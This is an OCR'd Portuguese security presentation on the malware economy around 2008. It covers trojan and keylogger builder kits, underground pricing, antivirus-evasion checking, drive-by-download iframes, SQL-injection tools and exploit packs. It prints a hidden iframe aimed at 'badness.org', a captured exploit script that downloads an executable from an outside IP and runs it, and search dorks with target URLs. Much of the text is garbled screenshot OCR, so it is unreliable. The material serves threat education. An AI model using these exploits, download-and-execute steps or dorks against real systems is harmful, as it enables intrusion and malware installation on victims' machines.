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Evolucao da Ameaca - Antigamente

* Infra tradicional, mais facil de proteger
» Vetores de ataque bem definidos *

» Defesa de perimetro era a meta. WED THREA, '
A Vg
! Y

Desktop: Server:
Operating System Hardware Platform
Operating System
Defined application footprint



Evolucao da Ameaca - Abstracao

= Perimetro???? Infraestrutura???
= Novos vetores de ataque, complexidade

= Tudo muito novo
= Novos ataques e objetivos *

Ze




Evolucao da Ameaca - A era dos parasitas

* Ameacas de hoje e amanha agem como parasitas
* Pulam de um host para o proximo

» Dependem da saude da vitima!

= Darwinismo em acao.




Quem é mais esperto?

» “O hacker nao precisa ser
mais esperto que a tecnologia
de protecao, basta ser mais
inteligente que a vitima”

— Crime oportunista

—“Pwn’em all and price’em
later” - hackers

= “Killem all and let God sort’'em
out” — militares




alware m 008

» Novos malware samples => ~10,000 por dia

= Allaple € um worm que se propaga via compartilhamentos de rede

=  Autorun Worm propagacgao via removable disk drives
» Trojans orientados a plataformas games (Onlinegames,

Magania) e bancos (Banker, Banload) foram os princiapais

» Todos os backdoors (Hupigon, Bifrose, Poison,
Rbot and Ircbot) sdo familias para as quais toolkits estdo

disponiveis
Rank Family Category
Allaple Worm
2 Onlinegames Trojan-Infostealer
3 Wirut Virus
- Hupigon Backdoor
5 Banker Trojan-Infostealer
G Swizzor Trojan-Downloader
7 Banload Trojan-Downloader
B Ardamax Trojan-Infostealer
9 Bifrose Backdoor
10 Rbot Backdoor

Malware by Category
2008
Other
17%

Backdoor

12%
PUP
Trojan 7o
46%
Virus
5%

source: IBM X-Force®



Aumento de Crime dedicado usando Malware

Tojans by Category » Crimeware aumentando
» Trojans correspondem a 46% de

todo malware
— Infostealers & Downloaders mais comuns

Infostealer
30::'})

— Ambos tiveram maior participacdo em 2008

Dropper = Aumento de ataques focando em roubar
10% informagdes do usuario

» 38% dos Infostealer Trojans > alvos: online

o .
1% Rootkit games

~1% Clicker

Generic
32%

v

» 18% dos Infostealer Trojans > Alvos: online
banking

= Atacantes continuam a usar
multiplos componentes/multiplos
estagios para o download ou
instalacao de novos componentes
malware no sistema infectado

1% Fraudtool

source: [BM X-Force®



Kits de riago de Malwa_res
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Kits de Criac;o de Malwares - Shark 3 (Jan ‘08)

» “Remote Administration Tool” — RAT
» Funcionalidades anti-debugging

= VmWare, Norman Sandbox, Sandboxie,
VirtualPC, Symantec Sandbox, Virtual Box etc.

;-edt Basic Settings
l,j Server Installation
i B2 Start Up

] tnstall Everts
4 Bind Files

- 43% Blacklist

'FE] antk Debugging

iy i Firewal Bypass
bl Advanced
: @ Summary

. iZompile

—Manipulation

¥ Modify File-Creation Time of server (Sets the Creating Time to the Windows-Installation Time)
¥ Modify File-attributes (Sets server as "hidden” and as a "svstem file")
¥ Melt Server Installer

—Server Type

" Wisible Server - Good for local testing.
s Hidden Server - Server runs in the backaround,
¥ Aaaressive Server (resets the startup-values when they're deleted)

—Misc

[ Lock server sharing
[~ only Connect When On-Line
[ Sleep until next reboot (Requires Starkup!)

— Delayed Ackivity
Drays: Iu Mins: Iu This delay will affect the connection,

[ Enable fctivity Delay the blacklist and the activation of the
Hours: Iu_ Secs: Iu_ offline kerdogger, if enabled.

Load Settings

||

Save Settings Cancel




Kits para criar Trojans

= Constructor/Turkojan
= V.4 Novas
Funcionalidades

= Remote Desktop

= Webcam Streaming

» Audio Streaming

» Remote passwords

= MSN Sniffer

= Remote Shell

» Advanced File Manager

= Online & Offline keylogger
= Efc..

[ Aktit PC :deneme ]

lAlieniTechnoiogy

Turkojan Client w4.0

[Online: 0] o b

g |

|English |'||' E ditar || 2 Settings“'\_-.;,?} Abat || :

o Order | Port: [15963 | [§ Stan

o passwards
E;, aAcCessoNes
Bl remote desktop
12l webcam streaming
& audio streaming
s | zettings manager
1 manage keyboard
&5 extia
20 communication
manage filez
(=3 COmmands

¢ zerver properties

TURKC JA)

B3 deneme

@ zyztem infarmation
) fun manager
7, contact ug TURKOJAN
' local toolz Copyright CigiCigi Online
1997 - 2008 All rights reserved.
Made in Turkey
Connection |0 IP Address Computer Mame 0s:

WirF

| Ready

Status : Pazsive I




Bronze Edition

Sihver Edition

hoard and
and




= TrojanToWorm v2
= Constructor/wormer

= Funciona com qualquer
executavel

= Opc¢des avancadas:
= Escolha data de infeccéo

» Evite a infeccdo de media
portatil
= Desabilite fungdes do SO

Task Manager,
Windows Registry Editor,
Folder Options, etc.

» Feito na Espana
» |nglés, espanhol,
portugues e catalao.

i@ Scripting

|__Save Changes =

 will be trangformed into bwarm;

Enable Mutei, Enable LR, [ ;
Enable L Backu | Lstom icoh
L=

Mo infect Penlirives which have the following names [S plit with #] ©

B T 2w -SYELMME] 94

[Edl Enable from the ¢ date [Format: dd/mm/

F gfdggfdg

de date |F rnako: dddmrmpy] -

Tupe of meszage:

Generate -




Kits para Keylogger

= “The Rat!” keylogger creator kit

» “Keylogger on demand” ou “zero-day
keylogger”
» Precos em WebMoney (WMZ)

= The Rat! 7.0XP - 29 WMZ

= The Rat! 6.0XP/6.1 - 22 WMZ
= The Rat! 5.8XP - 15 WMZ

» The Rat! 5.5XP - 13 WMZ

= The Rat! 5.0XP - 9 WMZ

= The Rat! 4.0XP - 8 WMZ

= The Rat! 3.xx - 7 WMZ

= The Rat! 2.xx - 6 WMZ

11.04.2006 =
11.04.2007 =

02700 =
BRI




Faca Vocé Mesmo - Malware Kits

= Exploits usados em malware’s atuais

= £100 (GBP) Kit:

- D-Link MPEG4 VAPGDecoder ActiveX

- Macrovision Installshield ActiveX

- MySpace Uploader ActiveX

- Symantec BackupExec ActiveX

- Yahoo! JukeBox ActiveX

- Microsoft Works ActiveX (Oday)

- Microsoft Internet Explorer MS06-014 (MDAC)
- Microsoft Internet Explorer MS07-009

- Facebook Uploader ActiveX

- Microsoft DirectSpeechSynthesis ActiveX
- Realplayer ActiveX

- WinZip FileView ActiveX

- Yahoo Messenger Webcam ActiveX

- Microsoft Internet Explorer MS06-013

- Microsoft Internet Explorer MS07-004

- Microsoft Internet Explorer MS07-055

<. I < B <. IS

[ <. I <.

<. I < N <. O <. I <. O <. I <. |




Evlugéo rjan

20%
18%
197% Infosteal
nrostealer . .
14% — Trojan, detalhes para categoria
1 - outros, 2008
10%
8%
Dropper
6% 0.8%
454 0.7%
Other
20 0.6% F dT I
raua oo
8 - 0.5% =
icker
Jan | Feb | Mar | Apr | May | Jun | Jul |Aug | Sep | Oct | Nov g 40
0.3% ~>
» Principal malware = trojan 46% 0.2% Proxy
= Principal Trojan excluindo categoria 0.1%
genérica: Infostealers (30%), Downloaders 0

(240/0), Droppers (10%) Jan | Feb | Mar | Apr | May | Jun | Jul | Aug | Sep | Oct | Nov | Dec




Contrate um Programador Malware (Custom Build

File  Edit

Programs e scripts para as seguintes categorias:

grabbers; spamming tools para forums, spamming tools para
social networking sites, modificacdes de ferramentas de
administragao, phishing pages

i m Hule vnsuEE H s Aveemert Tow Guil

i1 Liwt vlivety fhuviv: | L Liwt vlivetz fadwer i n Humbvr v vlivelx i

S e i g pokmdur 1 | Plataforma: software para MAC OS e Windows

um Hulpr urer H Hut e wll ooy Yurry ueer

Jl Liwt vogein veanands | o Add engein vesnand T dv Avmewe enguein vad E Multitasking: Capacidade de tra balhar em multiplos projetos
¥ Brrwer verlavcl H Evrwrr yuil

e i : : Velocidade e Responsabilidade: alto nivel
e s AN .~ Pagamento adiantado: 50% (clientes novos), 30% (fidelidade)

| ._i: - rd EN .
JI1e1:26:561 EVENT: du-juin vummand: Tutul: 8 A partir de: 100 euros
= o USUFPLLY
R E S E TR EUEHT : Buvwwr: Gnmduin cummand uddud
ju mrurprrad huLp: s rily.vemchol rxe
%132'?: =1 EUEHT: Brewer: Oo=juin veamund added

+441 EUEHT: dn=juin vemmand: 10 vybegecad
+441 EUEHT: dn=juin vemmund: E: mynwpgecad hiopisoucheite . comnsbon exe
441 EUEHT: Qu—guvin vemmund: Telul: E

(E7

BE:2H] EUEHT: Juinei
uv 1E7.8.8.1:111¢

Starting price for my malware is 250 EUR. Additional modules like P2P features, source code for a
particular module go for an additional 50 EUR. If you're paying in another currency the price is 200 GBP
or 395 dollars. | sell only ten copies of the builder so hurry up. The trading process is simple - a password
protected file with the malware is sent to you so you can see the files inside. You then sent the money and
| mail you back the password. If you don't like this way you lose.

| can also offer you another deal, | will share the complete source code in exchange to access to a botnet
with at least 4000 infected hosts because | don't have time to play around with me bot right now.




Contrate um Programador Malware (nao personalizado)

= Existem outros modelos de negdcios
= Componente/funcionalidade

= |oader

= FTP & Grabber

= Assembler Spam bases
= Socks 4/5

» Botnet manager

= Scripts

» Assembler password stealers (IE, MSN, etc.)

€70
= AV-remover

= Screen-grabber

€300
€150
€220
€70
€600
€70

€70
€70

Rules / License

-- Customer has no right to transfer any of his
three 3 persons except options for harmonizing
with me

-- Customer does not have the right to make
any decompile, research, malicious

modification of any three parts

-- Customer has no right where either
rasprostanyat information about three and a
public discussion with the exception of three
entries.

-- For violating the rules - without any license
denial manibekov and further conversations"




IR L —— Vo[ WirusScan for Win3z]

I Posibles Infecciones Tipo de InfeccioniResukados)
Pogible Wiz 1

Pozble Winis: © 1

Frurd the Ewploit-DoorBpe trojar
Exploit win22 DCom,ad

E Shopos  wiuzes,... 1 »32 Wiz TropDentist-E' found in
fl:l F-Prot Posbile Winug: 0 CABETON EXE 12 & secuiby nzk
| EAH:M[ Pozble Wiz 1 CABET 01.E<E Worm/S inmszn [2

@ M atton Fogible Vins: 0 CHBETONEXE is infected with th

- BitDefe...  Paosible Vis: 1 C:ABETON EXE is infected with th

ﬁ Clariwfin - Posble Wis: 1 Chbetol exe: Explot. DCOM. Gen

CS Sola FPosble Wiug: 1 Trojar Exples. Win32 DComaD

@] MWed32 Pozible Vins: 1 C:ibetol exe - Win32/Explok DC

terminado

Hac nor. WindZ itrose.

EE EE EEEEEEEEE E EEEE

Select all  Tlempo: 9

% Multi AVs Fixer BETA - 21 Antivirus Supported - [iNs]

File Healp
List of A%z can be Fiked
BYG Antivinug Free Edition

&
LUnFix

Arithir Antivirug Free Edition
’ Fix
: + Dol
m UnFix
Asharmpon Anlivis
- Fix
o
¥ Ciiom « Dol

Avvast 4 Antiviiug

Q7
UnFis

BuickHeal Antivins

™ i
!.J UnFix « Dol

Momaan Yirus Control 5.30

o Dalt

= Fi
Panda Antivirug 2008
o Fix
2% e o Dolt

List of &4 ¢ can be Fixed ;
MOD 32 Antivitus

Fix
r UnFo

BitD efender &nliviiug w8
ﬂ Fi
UnFo

Solo Antivines 2008

o Dolt

o Dalt

-Ir_‘\'i‘,‘i: Fik 4
Nz [lUnfix Dolt
Clam Win Antiviig
Fi
UI:F“ ‘f Daolt

Kaspershky Antivirus 7.0.0.720
V Fis
& IR

Trend Micro InterScan Yiusw all vb

o Dalt

i
UI:%( o Dolt
Sophos Antbines 6.5.1
i
@ L;:Fix  Dalt

ﬂ Go To Scan File

Ligt of &4 can be Fixed :

Dr. wieb 4.44.1.01210
Fixe _
UrEi « Dolt

PCrav Antiviruz 1.0.0

F
Unfix | ¥ Dolt
Merton Ankivinus 2008
Fix
UriFix o Delt
Mealee dntivirus 10
Fix
UrFix  Dolt
The Shield Antivinuz 2007
N7 _
UnFix + Dolt
Rizing &Antivinus Personal Edition
Fix :
UnEie ' Dol
Sunbelt CounterSpy 25
Fi

Uk | ¥ Dolt




Malware Quality Assurance

= Testando por detecgcao AV? | =

|Sheduler T Profile " Pay " Help |

Sheduler Arraztra el fichero a la caja de texto o examing la wta:
[
Exportar Fesultados | Mas acciones si presionas el segundn boton del raton en lista
ar
2] Antivir
url _ﬁ ASquared 3.0
: :I BitD efender
Period Jhours v FE? clamwin
Report on  E-bdail v E k. LRC:
FE] Mcafee 5.3
IO start ] Panda
All {E-mail and 1C0) ] PExtractor
:| Sophos
E i

o Hay informacion que unicamente puedes ver dezde la seccion Informacion Avanzada'.
Sheduler statistic (refresh) s e £ #

Escanesar

| Antivirus cargados: 10
File name Last checked Period & Report . ard

checks




Malware Quality Assurance (cont.)

Balance: 20% | Logged as: test |

Logoed as :test
AccountType: PayFerMaonth
Balance: 20%

FreeChecks Per Maonth, O
FreeChecks Left: 0
PayPertlonth : 40F
FayFerCheck: 15

CreationDate : 2008-02-04 17:56:57
Lastvisit Date: 2008-02-05 01:36:35
Last Check Date: 2008-02-05 00:55:04

Antivirus
Antivir
Arcavir
Aarast
AYG
BitDefender
Clamdy
Drveh
eScan
F-Prot
F-Secure
Kaspersky
Mcifee
Mod32
Panda
Sophos
Symantec
WEAIZ
YirusBuster

Balance: 205 | Logged as: test | Service Load:

Scanning Finished

Version DatabaseVersion Result
2.1.11-43 2008-02-04 TR/Agent. 3633
1.0.5 2003-02-04
1.08 2003-02-03
7.5.50 2008-02-04 Trajan horse Downloader. Small. BIY
7.60325 2003-02-04 Generic. Malware. dldi. 3E3550AE
0.91.2 2003-02-04
4.44.0.10150 2008-02-03 DLOADER. Trojan
208 2003-02-02
B.2.1 2008-02-04 W32/Downloader. gen10
553 2008-02-04
5.7.13 2003-02-04
2.1.11-48 2008-02-01 Generic. ff trojan
2.16-2 2003-02-04
9.04.03 2008-02-03
4250 2003-02-04 Wirus Mal/DiownlLdr-F'
1.038 2003-02-04
31225 2008-02-04
1.3.4 2003-02-04

Additional information

FileMame: [0.exe
FileSize: 3638 bytes
MD5; add5cseaddalcaadB2hh4353ah3233eh
SHAT: 4ef7341ed4525a8ca220033ch2ddEdda40996594
LotalResylts: 710




Ferramentas comerciais para Anti-debugging de
Malware

Code Virtualizer converte e protege as
& Code Virtualizer v1.3.4.0 | Project: C\Users\rahucha\Documents\Virtualizer Projects\64-bit Test.cv * inStrU(;ﬁeS Originais (Intel x86 ) em OpCOdeS
—— ‘ virtuais para serem usados pela internal Virtual

4 W [ ] - ] bf h ) :
V"" V“-utuahze r Total Obfuscation against Rever'si :F;E:Ei s Machine
J New ,-J Cpen... H Save ESEVE As... | g Protect | \t—))ueh;. y%out...
r .(_

Protection Options

Options

— i i ad O(rl), f4
EJ Application Information Protection Options 1d £2, a
& Protection Options aub rl, rl, #8
&) code Virtuslization Multiple Virtual Machines Last Section Name Strip Relocations (EXEs) ‘ bnez rl, 143
[&J Extra Options i 3~ machines wlizer f [ Strip relocations —
! L (] Keep original name Imaginary CPU#1
@ Help 3 By, 'v::,-\l'l :
@ Protection Options Virtual Machine 1 | Virtual Machine 2 | Virtual Machine 3 1d a
@ Protect Now Virtual Opcodes Obfuscation  Virtual Machine Complexity  Opcodes Mutation E> W E> call tmpl
o i = - -
AJ f a h Virtualizer .
Current: Medium g;rer?:;:mx}, T;::;‘m Current: Mone RIS Q_J Imaginary CPU# 10
Re-Virtualization Multi Branch Technology Fake Stack Emulation Code Virtualization
= add 19 =
Enable Protect E /| Enable Protecti GHI}' /| Fake Emulati
%D able Protection | able Protection [v] Fal ulation add 17 = 17, 0
= o5, 17

cmp.eq pl

— |

Imaginary CPU4n
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Vejamos o nhegocio
IFRAME




Alvo -> Web browser

= Forte foco em vulnerabilidades

Critical and High Vulnerability Disclosures Affecting de aplicagoes ’do 'ado ?“e”te
Client-Side Applications by Application Category, 2005 - 2008 = \Web browser € o principal alvo

e = 0 “novo SO’

S * Proliferacao de plug-in’s
= \/ulnerabilidades de leitores

40'?‘3 =
de documentos em aumento
e = Cada vez mais acessivel
Browaer pelo browser
0s
Bl security
. Document
Reader
or Editor
2005 2006 2007 2008
source: [BM X-Force®



Aplicacoes Web sao constantemente “cutucadas”

= 54.9% de todas as vulnerabilidades de 2008
Web Application Vulnerabilities sao orientadas a aplicagcoes web
by Attack Technique 2004 — 2008 = 74% das vulnerabilidades acima nao tinham
“patch” de correcao até o final do ano.
» Ataques de SQL injection aumentarao 30x
nos ultimos 6 meses

Cumulative Count of Web Application Vulnerabhilities

1998 - 2008

16,000
14,000
12,000

Lross-Site
Scripting 10,000
B soL injection 8,000
B Other 6,000
M File Include 4,000
2[;04 i i 2007 2008 2,000

0 ;

SOUrGE. A %-Foep® ! i |
1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008

source: IBM X-Force®



O neqgodcio IF

RAME
iframe URL Servers Exploit Script Servers Malware Servers
« SEO Attd * Embedded exploits | exploitation
\-Downloaders Codec’s
Inclusion
- Owned server x

Mass-defd Malware Payloads

« XSS Inje{ ° Custom malware

« SQL Inje{ * Dynamic creation mated exploits
x N\ Intentional e documents -

» Botnet server
‘v-,\v y"Wou






O processo do d-riveéby-dbwnload

o Downloader Maetrial Exploit
Usuarios de desktop e instalado Servido

Malware
instalado e ativo

=

o

Web server com iframe embutido Host iframe Web browser
malicioso virou alvo e vitima

Surfando na web




O ramewro drive-by-download

» Tudo ‘comecga’ com um iframe embutido que aponta para um

destino malicioso
<iframe name=‘0wn3d’

src=‘http://badness.org/bad.js’ width=1

height=1 style=‘display:none’></iframe>

Host Comprometido
SQL Injection attacks...
Backdoored/Trojaned host...
Brute-forced admin
contas...

Host Dedicado

“Ownado” por hackers
... sites falsos

... sites phishing

... warez

Opt-in Programs

Web server ligitimo, porem o
dono/admin inclui iframe com
referéncia maliciosa por dinheiro

Botnet Host

Hospeda agente botnet
Web services ou elementos proxy

Participante sem intencao
Banner infectado...

plug-ins de terceiros....

Cdédigo compartilhado e iframes
legitimos...

Aplicacdo Web 2.0 com applets customizados
Sites de Social networking sites

Blogs e comentarios no blog

Postings em forums...

\ Aplicagoes host convenientes




O framewrk do drive-by-download(cont.)

= O destino do iframe procura explorar as vulnerabilidades no
browser ou via engenharia social fazer o usuario instalar alguma

coisa maliciosa
Servigos de hosting Pay-you:

* opera como esquema de publicidade online

Host destino * paga no numero de visitas ao site
servindo malware * paga no tipo de tréfeqq

Web browser exploits paga no numero de vitimas
Browser plug-in exploit 5 : 7

(ex. Flash vulnerabilities)
Malware hosting....
(ex. downloaders, bots)

/— Iframe exploit packs:

* compra

Social engineering : aluguel
(ex. Codecs necessarios) Lease

Hosts que _/ Proveedores de gerenciamento
participam remoto:
Hosts comprometidos, * hosting de servidores em racks
dedicados, terceiros que * hosting em ambiente Virtual
participam do esquema, * Botnet host leasing
botnet * DNS resistente a “takedowns”




de iFrame

Stream Content

lGET fgoogie. com | Stream Content
Host: Zcounter.c

|Accept: */%*
lhccept-Charset:

lAccept-Encodingy |,

para; Exploit

|..=script=

.=f5cript>

lAccept-Language:| |

Referer

User-Agent: Mozi |

[(KHTML, like Gec
x-wap-profile:
X-Nokia-MusicSho
X-Nokia-MusicSheo

HTTPfl.l 200 0K
Server: nginx
Date: Thu, 12 Fe
Content-Type: te
Connection: keep
Last-Modified: S
ETag: "e7de7’5-3s
lAccept-Ranges: b
Content-Length:

var g="",1="dnus
BES74%2E% 7 7%72%6
BT74%20%2C%68%2CY
|74%28%20%78%2D%3
?8%28%68%28%33%2
141%74%28%77%20%3
\"g :1lldabbr\"0s
lin.cgizdefault k
Host: zcounter.d
lAccept: text/htn
ldescriptor, appl
|+xml, applicatic
%ccept-Charset:

hccept-Encoding:
Accept-Language:
Referer: http://
User-Agent: Mozi
|(KHTML, like Gec
jx-wap-profile:

http: /4 |

. .=html=<head=<title>=/title>

+ lescript language="JavaScript"= var obj RDS = document.createElement('object'); obj RDS.setAttribute('id', 'obj RDS'};

lobj RD5.setAttribute('classid’, 'clsid:BD96C556-65A3- 11D0-983A- 00CO4FC29E36 ") ;
jobj_adodb = obj_RD5.CreateObject("adodb.stream",""); is_ obj_adodb = 1;
|{ var obj_adodb = new ActiveXObject("adodb.stream"); is_obj_adodb = 1;
{ var obj_ShellApp = obj_RD5.CreateObject("Shell. Application®,""); var obj_msxmL2 = new ActiveXObject

H{"msxml2., XMLHTTP"); obj msxml2.open{"GET","http://94.247. 2.122/0.git",Talse); obj msxml2.send(); obj adodb.type = 1;
iobj_adodb.open:}; obj_adodb.Write{obj_msxml2. resporg Rody); var fn = "C:\\asasa.exe"; obj_adodb.SaveToFile(fn,2);
Qobj_adndb.close(); obj ShellApp.ShellExecute(fn); o2} {} } =/script=
j=script language="JavaScript"> function Createlf ~ = null; try { evali'r =
At (' r) { try { eval('r = o.Createnhiactin =+ E 1 e

“*)*) jcatch{e){} } if (! r) { try YT .

©0.GetObject(n, "")') }catch(e){} ] Cddigo de exploragao

NI s iatsbaissanll Nem sempre esta oculto (obfuscado). Tenta obter “0.gif”
— que é um executavel

var is_ obj adodb = 0; try { var
} catchie){} if (is__obj_adodb '= 1) { try
} catchi{e){} } if (is_ obj adodb == 1) { try

0. CreateObject(n) ') }catchie){}

F +vre 5 aualfi'ryr — A Crastafhiacrtin )
(]

ion Go

obj_msxml2. send(); var obj_adodb =
|{obj_msxml2. responseBody); var fn
'"Shell.Application"}; 5.5hellExecu
f: '{BDO9BC556-65A3- 11D0- 983A- 0OCO4F
:D4A21361?116}', '{O0D6FO33-0000- 0L
|'{6e32070a-766d- 4eeb-879c-dclfadlc
|FOBF-4331-8A26-339E03COAE3D} ", '{C
|' {EAD18599- 1DE3-4479-83B4-461454C84BF8}', '{DOCOTD56-7C69-43F1-B4AD-25F5A11FAB1S}", '{EBCCCDDF-CA28-496b-
BO50-6CO7CI62476BY ', null); while (t[i]) { var a = null; if (t[i].substring(®,1) == '{') { a = document.createElement
it"object"]; a.setAttribute(“classid”, "clsid:" + t[i].substring(l, t[i].length - 1))}; } else { try { a = new
hctiueﬁﬂbject(t[i]}; } catchie){} } if (a) { try { var b = CreateO(a, "Shell.Application"}); if (b) { if (Go{a))
break; } }catch(e){} } i++; } <=/script=

|=/body=

[=/html=

jrite

j

[+]

u
g = o g g e - g R R R |y

IX-Nokia-MusicShop-Version:

T A

1.0.08




Destino dos iframes maliciosos

= USA substituiu China em 2008

U.S.A.

8 2338 38 8 %

China

I Other
B Russia

2006 2007 2008

—
=
.0
&

=
0
o™







framer Cpetition

» Vender ou alugar cddigo de exploragao e plataformas de entrega
= Compra do attack engine, com subscription updates

» Esquemas de aluguel semanal de plataformas de ataque

-
www.lframebiz.com

LR

.

(]

=]
=

o

ImaBHanA Mpasxna Perncrpauua
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L R iFrameBiz.com
-i" -Ma-ds e . . ¥ i J r
Agq € have new EXE's plea: Quase |gua| ao IFram691 1 . HbiM obpazomM. Ewe Bonbwe
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Ferramentas comerciais para Web defacement

= Acelera o processo
= Relatorios

For New Zone-H

r‘l._Zune—H.urg Motifications

—List OF Sites That Hacked and U Want to Repork it — —List OF Site That Reported SuccessFully -

IDeFacer Narne

I.ﬁ.ccess credentials through Man In the Middle :i

[

|F‘atriu:utism

Load List From File Skart Reporting | Clear all ' Zin Hold Save a4

First Load Lisk OF Sike That Hacked and then Click, Start Reporking

—List 0OF FaileEIEaFore Reparted in Last & Manith |

i

Limited Version

L

IDF.PHP URL | Address That U Upload
PHP File Address :

(=]

PHP File , OMLY Use iT , Mo Use Another PHP Shell

,ﬁttp:Il'll'www.target.com,l'test,l'.idf.|:|h|:|

Deface Page Address | Must Be Upload in The Folder That PHP File Uploaded
Deface Page Name : http: v, barget, comtest /deface. htm

Deface Name That above Deface Address Will Be Copy By This Mame in Defaced Sikes
Deface Name : def.htm

List OF Site in Server | Click it and wait List Permn Folder OF Site That U Click Ik, Click.it To Be Defaced

Choose Attack Method

(¥ Manual Mode
() Automatic Mode

List OF site That Hacked |, Click To Open Site in Browser For Check
|

l

I Clear Site List To Stark Mew Project l

[ J | |

Get Site List

Cther Tools U Meed | U Can Get a Connect Back And Try To Rook Access
I Get Connect back ] I Zone-h Reporter l [ Save Defaced Lisk ]

Help About

-




SQL Injection de verdade

= SQL Injection agora € incrivelmente popular
= Agora as ferramentas automatizadas sao simplesmente melhores

» Aplicacdoes web mais complexas e cada vez mais dependentes de
um back-end DB.

200,000

450,000

i

400,000

= 100k “defacements’ 450,000 |
por semana 300,000 : |
= Grande parte via S 1

200,000

SQL Injection -
= 500k sites alvos por dia e

50,000

October November December

Fgure 21: SAL Injection Attacks Monfored by 1BM 1S5 Managed Securlly Services, Q4 2008



Ferramentas SQL Injection

= Automatiza SQL Injection attacks

» Especifica carga de injecao (defautt
http://www.2117966 [dot] net/fuckjp.js )

— por assinatura

Aml CL| g@@

77w asdf R

THD) |http:a" ey, google, comy'zearch ?num=100&hl=entr=knewmmindow=1%as_qdi=allfg=inul 385 22 aspR22anulz3a%2

|http:.u’.u’www.google.cnmh’search?q=inurl: 22 arpid2einurt X 2285 30X 2 num=1 00%khl=enir=tnewnaindow=1kas_qdr=allfztat=200

» Ferramenta verifica backend na
china, por licenciamento

» Google e procura sites
vulneraveis inurl:".asp” inurl:"a="

= SQL injection

hittp: /v, simmbester, com/page/newsd showpubnews. asp tite=A+Guick +Look+at+E nhanced+Perfomance+Profiles+[EFP1+Me »
hittp:/ firveesting, bugsinessweek, comdrezearchicommonsumballookup. sumbolookup. aspletterl nsd,
hitp://search. bamezandnoble. com/booksearch/results, aspPwrd=a+new+earthlae=tc

hittp: /v recuitireland comdcareercentie/news /anmyviewer asp?a=1012kz=2sasp=rinews. asphauboat=
hittp: /v robertmundell net/book /main. azp?T ile=0 %2 0T heond200f 5200 phimumE20CurencyiE 208 e as
hitp: /v sethbames. com/indes. aspYfilename=theres-a-worldwide-war-between-good-evi

hittp: /S v in. state, pa.us/ing/cwpdview, asn 7 a=1331%0=542979

hittp:/ A, aegis. comidtopice/gloszan 8. agpYpages=h,

hittp:/ v, nizcair, reg. indlnformationR ezources/info, azp Ya=topirame. htmib=leftcon aspho=nslnal himbd=test
bkt A moneyminded. com.audwords./default aspYletiersh,

bkt v anline-medical-dictionany orgda. aspo=""a

hittp: /A kepwords. meu, eduda-z/directony. azplist=a

hittp:/ A, batking. tate. pa.us/banking/cwpdview, axpa=1350kg=046020

hittp: A, gick kidz ca/HumanB ezources/zection. azpYe=Find+a+Careerksl D =13

hittp: /v vegastowers.comdral asp B T ag=a

hittp: /v atstacticaloear comdfstar asp?a=234manufacturer=AaT S

hitp: £/ vave acraryfinder. com/ af-queny. asp?acronym=Hep+4

hittp: v watermelon, orgdindes. azp? a=dsphhiype=recipelpid=12

hittp: A, ecml. athelp/ alpha, aspPabo=g,

hittp: v, nbra, comyapomABPCM viewer agp?a=170204 2=

hittp: /v wigla, comyabeolutenmslasbzolutenm/anmyiewer asp ?a=1%z=1

bkt e - dictionany. arg/a. aspg=""a

hittp: A aplemuzic, com/artist_listing.aspidl=a

bkt e bafewa, gove. auDnamic,/ DumamicPge. azpta=10029,0.5td

hittp: A, mg. oo za/Content13_f asp?a=18%0=10233

http: v, de21.com/SCRIPTING/RUMDLLIZ/REFGUIDE ASP7P=h ) ) )
Courtesy: http://isc.sans.org/diary.html?storyid=4294

b
< 3

ALL MEMO1'S URL FINISHED! ~_~ SEE LOG




Automatizacao de SQL injection via Engines de Procura

® Alguns usam sites de procura para ajudar a

encontrar sites vulneraveis antes
ataques

<Scan_Google> [milwBrm] .Joomla Component Expose <= RC35
Uulnerability - http://uwwu.milwlrm.com/exploits/4194
<3can_Google? [milwBrm] QuickEStore <= 8.2 (insertorder.
Uulnerability - http://www.milwlrm.com/exploits/4193
<Scan_Google> [milw8rm] Vivvo CHS <= 3.4 (index.php) Rem
Exploit - http://wwu._milwBrm.confexploits/u192
<Scan_Google> [milw8rm] Pictures Rating (index.php msgid
Vulnerbility - http://wuw.milwBrm.com/exploits/u191
<3can_Google> [milwBrm] Data Dynamics ActiveBar ActiveX
Insecure Hethods - http://fuww.milwlrm.com/exploits/4198
{3can_Google> [milw8Brm] Expert Advisior {(index.php id) R
Uulnerbility - http://wuw_milwBrm.com/exploits/u189
<Scan_Google> [milw8rm] Flash Player/Plugin Uideo file p
Execution POC - http://www.milwlrm.com/exploits/4188
<h3dx82501> *scan phpBB Hodule SupaHav 1.8.8
<Scan_Google> [Scam] Started: phpBB - Dork: Hodule SupaHa
<3can_Google? [Scan] Google Found: 158 Sites?
<Scan_Google> [Scan] Cleaned results: 2 Sites!?
<Scan_Google> [Scan] Exploting started?
<3can_Google> [Scan] Scan Finished Module SupaMav 1.8.8
<h3x8z501> *scan Flash Player/Plugin Video file parsing Re
{3can_Google> [Scan] Started: Flash - Dork: Player/Plugin
Code Execution POC Engine: Google
<Scan_Google> [Scan] Google Found: 2679 Sites!
{3can_Google> [Scan] Cleaned results: 492 Sitest
<Scan_Google> [Scan] Exploting started?

de lancar os

|<B-Scan> [VYuln] 1888 on 1242 sites

[<A-scan> [Yuln] 3898 on 5468 sites

{haaaaaweee> *string

{A-Scan> [PASNli}| agenda.php3?rootagenda= allinurl:/phpmayagenda

<B-Scan> components/con_extended_registration/registration_detailed.
inc.php?mosConfig_absolute_path= inurl:com_extended_registration

{A-Scan> |IGINNY| 3128 on 5468 sites

<{haaaaaweee> *a components/com_extended_registration/registration_detailed.inc.php?mo

sConfig_absolute_path= inurl:com_extended_registration

ACEMGENRE] Dork] inurl:com_extended_registration

WG Bug] components/com_extended_registration/registration_detailed.inc.php?mos
Config_absolute_path=

WCERENME] Scan] Scanning started now?

{A-Scan’> [EAfpR=y| inurl:com_extended_registration

components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolu

te_path=

{A-Scan> [y inurl:com_extended_registration

components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolu

te_path=

<B-Scan> |LIILY]

{B-Scan> [N}

{A-Scan> |EUNLY

|[<B-Scan> [ITIEY]

[<B-Scan> [RUNGY

|<B-Scan> [UTIEY]

848 on 2186 sites
1118 on 1242 sites
3158 on 5468 sites
1148 on 1242 sites
1178 on 1242 sites
12808 on 1242 sites

fMoLte Lode Execurtion PU

UVideo file parsing Remote




= \WebAttacker2
* Mpack

» |cePack Sraractina:

= Neosploit —
= Black Sun  SEQfAG#
u Cyber Bot Most Popular Exploit Toolkits (2H 2008)

Rank 2008 (Full Year) 2008 H2 (Second Half)
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Man-in-the-Middle =¢oisa
